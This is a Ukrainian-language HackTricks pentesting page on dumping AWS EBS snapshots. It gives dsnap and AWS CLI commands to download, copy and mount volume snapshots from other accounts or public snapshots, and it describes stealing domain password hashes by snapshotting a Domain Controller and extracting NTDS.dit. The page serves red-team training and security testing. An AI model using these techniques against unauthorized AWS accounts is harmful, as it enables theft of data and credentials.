AWS - EBS Snapshot Dump
Reading time: 6 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Перевірка знімка локально
# Install dependencies
pip install 'dsnap[cli]'
brew install vagrant
brew install virtualbox
# Get snapshot from image
mkdir snap_wordir; cd snap_workdir
dsnap init
## Download a snapshot of the volume of that instance
## If no snapshot existed it will try to create one
dsnap get <instance-id>
dsnap --profile default --region eu-west-1 get i-0d706e33814c1ef9a
## Other way to get a snapshot
dsnap list #List snapshots
dsnap get snap-0dbb0347f47e38b96 #Download snapshot directly
# Run with vagrant
IMAGE="<download_file>.img" vagrant up #Run image with vagrant+virtuabox
IMAGE="<download_file>.img" vagrant ssh #Access the VM
vagrant destroy #To destoy
# Run with docker
git clone https://github.com/RhinoSecurityLabs/dsnap.git
cd dsnap
make docker/build
IMAGE="<download_file>.img" make docker/run #With the snapshot downloaded
caution
Зверніть увагу, що dsnap
не дозволить вам завантажити публічні знімки. Щоб обійти це, ви можете зробити копію знімка у вашому особистому акаунті та завантажити його:
# Copy the snapshot
aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"
# View the snapshot info
aws ec2 describe-snapshots --owner-ids self --region us-east-2
# Download the snapshot. The ID is the copy from your account
dsnap --region us-east-2 get snap-027da41be451109da
# Delete the snapshot after downloading
aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2
Для отримання додаткової інформації про цю техніку перегляньте оригінальне дослідження в https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/
Ви можете зробити це з Pacu, використовуючи модуль ebs__download_snapshots
Перевірка знімка в AWS
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89
Підключіть його до EC2 VM під вашим контролем (він має бути в тому ж регіоні, що й копія резервної копії):
Крок 1: Необхідно створити новий об'єм вашого вибраного розміру та типу, перейшовши до EC2 –> Об'єми.
Щоб виконати цю дію, виконайте ці команди:
- Створіть об'єм EBS для підключення до EC2 екземпляра.
- Переконайтеся, що об'єм EBS та екземпляр знаходяться в одній зоні.
Крок 2: Виберіть опцію "підключити об'єм", клацнувши правою кнопкою миші на створеному об'ємі.
Крок 3: Виберіть екземпляр з текстового поля екземпляра.
Щоб виконати цю дію, використовуйте наступну команду:
- Підключіть об'єм EBS.
Крок 4: Увійдіть до екземпляра EC2 та перелікуйте доступні диски, використовуючи команду lsblk
.
Крок 5: Перевірте, чи є дані на об'ємі, використовуючи команду sudo file -s /dev/xvdf
.
Якщо вихід з вищезазначеної команди показує "/dev/xvdf: data", це означає, що об'єм порожній.
Крок 6: Форматуйте об'єм у файлову систему ext4, використовуючи команду sudo mkfs -t ext4 /dev/xvdf
. Альтернативно, ви також можете використовувати формат xfs, використовуючи команду sudo mkfs -t xfs /dev/xvdf
. Зверніть увагу, що ви повинні використовувати або ext4, або xfs.
Крок 7: Створіть каталог на ваш вибір для підключення нового об'єму ext4. Наприклад, ви можете використовувати назву "newvolume".
Щоб виконати цю дію, використовуйте команду sudo mkdir /newvolume
.
Крок 8: Підключіть об'єм до каталогу "newvolume", використовуючи команду sudo mount /dev/xvdf /newvolume/
.
Крок 9: Змініть каталог на каталог "newvolume" і перевірте дисковий простір, щоб підтвердити підключення об'єму.
Щоб виконати цю дію, використовуйте наступні команди:
- Змініть каталог на
/newvolume
. - Перевірте дисковий простір, використовуючи команду
df -h .
. Вихід цієї команди має показувати вільний простір у каталозі "newvolume".
Ви можете зробити це з Pacu, використовуючи модуль ebs__explore_snapshots
.
Перевірка знімка в AWS (використовуючи cli)
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id <snap-0b49342abd1bdcb89>
# Attach new volume to instance
aws ec2 attach-volume --device /dev/sdh --instance-id <INSTANCE-ID> --volume-id <VOLUME-ID>
# mount the snapshot from within the VM
sudo file -s /dev/sdh
/dev/sdh: symbolic link to `xvdh'
sudo file -s /dev/xvdh
/dev/xvdh: x86 boot sector; partition 1: ID=0xee, starthead 0, startsector 1, 16777215 sectors, extended partition table (last)\011, code offset 0x63
lsblk /dev/xvdh
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvdh 202:112 0 8G 0 disk
├─xvdh1 202:113 0 7.9G 0 part
├─xvdh14 202:126 0 4M 0 part
└─xvdh15 202:127 0 106M 0 part
sudo mount /dev/xvdh1 /mnt
ls /mnt
Shadow Copy
Будь-який користувач AWS, який має дозвіл EC2:CreateSnapshot
, може вкрасти хеші всіх доменних користувачів, створивши знімок Контролера домену, підключивши його до екземпляра, який вони контролюють, і експортувавши NTDS.dit та SYSTEM реєстровий файл для використання з проектом secretsdump від Impacket.
Ви можете використовувати цей інструмент для автоматизації атаки: https://github.com/Static-Flow/CloudCopy або ви можете використовувати одну з попередніх технік після створення знімка.
References
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.